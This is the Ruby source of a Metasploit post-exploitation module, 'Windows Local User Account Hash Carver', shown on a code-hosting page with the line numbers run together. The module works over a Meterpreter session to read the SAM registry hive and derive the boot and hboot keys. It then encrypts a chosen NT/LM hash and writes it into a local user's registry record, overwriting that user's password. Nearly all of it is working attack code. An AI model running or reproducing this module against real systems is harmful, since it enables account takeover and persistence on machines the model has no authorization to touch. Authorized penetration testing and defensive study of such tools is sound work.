Path: blob/master/modules/post/windows/manage/hashcarve.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post7include Msf::Auxiliary::Report8include Msf::Post::Windows::Priv9include Msf::Post::Windows::Registry1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Local User Account Hash Carver',16'Description' => %q{17This module will change a local user's password directly in the registry.18},19'License' => MSF_LICENSE,20'Author' => [ 'p3nt4' ],21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26stdapi_registry_open_key27]28}29},30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [CONFIG_CHANGES],33'Reliability' => []34}35)36)37register_options(38[39OptString.new('USER', [true, 'Username to change password of', nil]),40OptString.new('PASS', [true, "Password, NTHash or LM:NT hashes value to set as the user's password", nil])41]42)43# Constants for SAM decryption44@sam_lmpass = "LMPASSWORD\x00"45@sam_ntpass = "NTPASSWORD\x00"46@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"47@sam_numeric = "0123456789012345678901234567890123456789\x00"48@sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')49@sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')50end5152def run53# Variable Setup54username = datastore['user']55pass = datastore['pass']56# Detecting password style57if pass.length == 3258print_status('Password detected as NT hash')59nthash = pass60lmhash = 'aad3b435b51404eeaad3b435b51404ee'61elsif pass.length == 6562print_status('Password detected as LN:NT hashes')63nthash = pass.split(':')[1]64lmhash = pass.split(':')[0]65else66print_status('Password detected as clear text, generating hashes:')67nthash = hash_nt(pass)68lmhash = hash_lm(pass)69end70print_line('LM Hash: ' + lmhash)71print_line('NT Hash: ' + nthash)72print_status('Searching for user')73rid_int = get_user_id(username)74rid = '%08x' % rid_int75print_line('User found with id: ' + rid)76print_status('Loading user key')77user = get_user_key(rid)78print_status('Obtaining the boot key...')79bootkey = capture_boot_key80print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack('H*')[0]}...")81hbootkey = capture_hboot_key(bootkey)82print_status('Modifying user key')83modify_user_key(hbootkey, rid_int, user, [nthash].pack('H*'), [lmhash].pack('H*'))84print_status('Carving user key')85write_user_key(rid, user)86print_status("Completed! Let's hope for the best")87rescue ::Interrupt88raise $ERROR_INFO89rescue StandardError => e90print_error("Error: #{e}")91end9293def capture_hboot_key(bootkey)94ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ)95return if !ok9697vf = ok.query_value('F')98return if !vf99100vf = vf.data101ok.close102hash = Digest::MD5.new103hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)104rc4 = OpenSSL::Cipher.new('rc4')105rc4.decrypt106rc4.key = hash.digest107hbootkey = rc4.update(vf[0x80, 32])108hbootkey << rc4.final109return hbootkey110end111112def get_user_id(username)113ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ)114ok.enum_key.each do |usr|115uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)116r = uk.query_value('')117rid = r.type118if usr.downcase == username.downcase119return rid120end121122uk.close123end124ok.close125raise 'The user does not exist'126end127128def get_user_key(rid)129uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ)130user = uk.query_value('V').data131uk.close132return user133end134135def write_user_key(rid, user)136uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE)137uk.set_value('V', REG_BINARY, user)138uk.close139end140141def modify_user_key(hbootkey, rid, user, nthash, lmhash)142hoff = user[0x9c, 4].unpack('V')[0] + 0xcc143# Check if hashes exist (if 20, then we've got a hash)144lm_exists = user[0x9c + 4, 4].unpack('V')[0] == 20145nt_exists = user[0x9c + 16, 4].unpack('V')[0] == 20146if !lm_exists && !nt_exists147raise 'No password is currently set for the user'148end149150print_status('Modifiying LM hash')151if lm_exists152user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)153else154print_error('LM hash does not exist, skipping')155end156print_status('Modifiying NT hash')157if nt_exists158user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)159else160print_error('NT hash does not exist, skipping')161end162end163164def rid_to_key(rid)165s1 = [rid].pack('V')166s1 << s1[0, 3]167s2b = [rid].pack('V').unpack('C4')168s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')169s2 << s2[0, 3]170[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]171end172173def encode_utf16(str)174str.to_s.encode(::Encoding::UTF_16LE).force_encoding(::Encoding::ASCII_8BIT)175end176177def encrypt_user_hash(rid, hbootkey, hash, pass)178if hash.empty?179case pass180when @sam_lmpass181return @sam_empty_lm182when @sam_ntpass183return @sam_empty_nt184end185return ''186end187188des_k1, des_k2 = rid_to_key(rid)189d1 = OpenSSL::Cipher.new('des-ecb')190d1.encrypt191d1.padding = 0192d1.key = des_k1193d2 = OpenSSL::Cipher.new('des-ecb')194d2.encrypt195d2.padding = 0196d2.key = des_k2197md5 = Digest::MD5.new198md5.update(hbootkey[0, 16] + [rid].pack('V') + pass)199rc4 = OpenSSL::Cipher.new('rc4')200rc4.encrypt201rc4.key = md5.digest202d2o = d2.update(hash[8, 8])203d1o = d1.update(hash[0, 8])204enchash = rc4.update(d1o + d2o)205return enchash206end207208def hash_nt(pass)209return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack('H*')[0]210end211212def hash_lm(key)213lm_magic = 'KGS!@\#$%'214key = key.ljust(14, "\0")215keys = create_des_keys(key[0, 14])216result = ''217cipher = OpenSSL::Cipher.new('DES')218keys.each do |k|219cipher.encrypt220cipher.key = k221result << cipher.update(lm_magic)222end223return result.unpack('H*')[0]224end225226def create_des_keys(string)227keys = []228string = string.dup229until (key = string.slice!(0, 7)).empty?230# key is 56 bits231key = key.unpack('B*').first232str = ''233until (bits = key.slice!(0, 7)).empty?234str << bits235str << (bits.count('1').even? ? '1' : '0') # parity236end237keys << [str].pack('B*')238end239keys240end241end242243244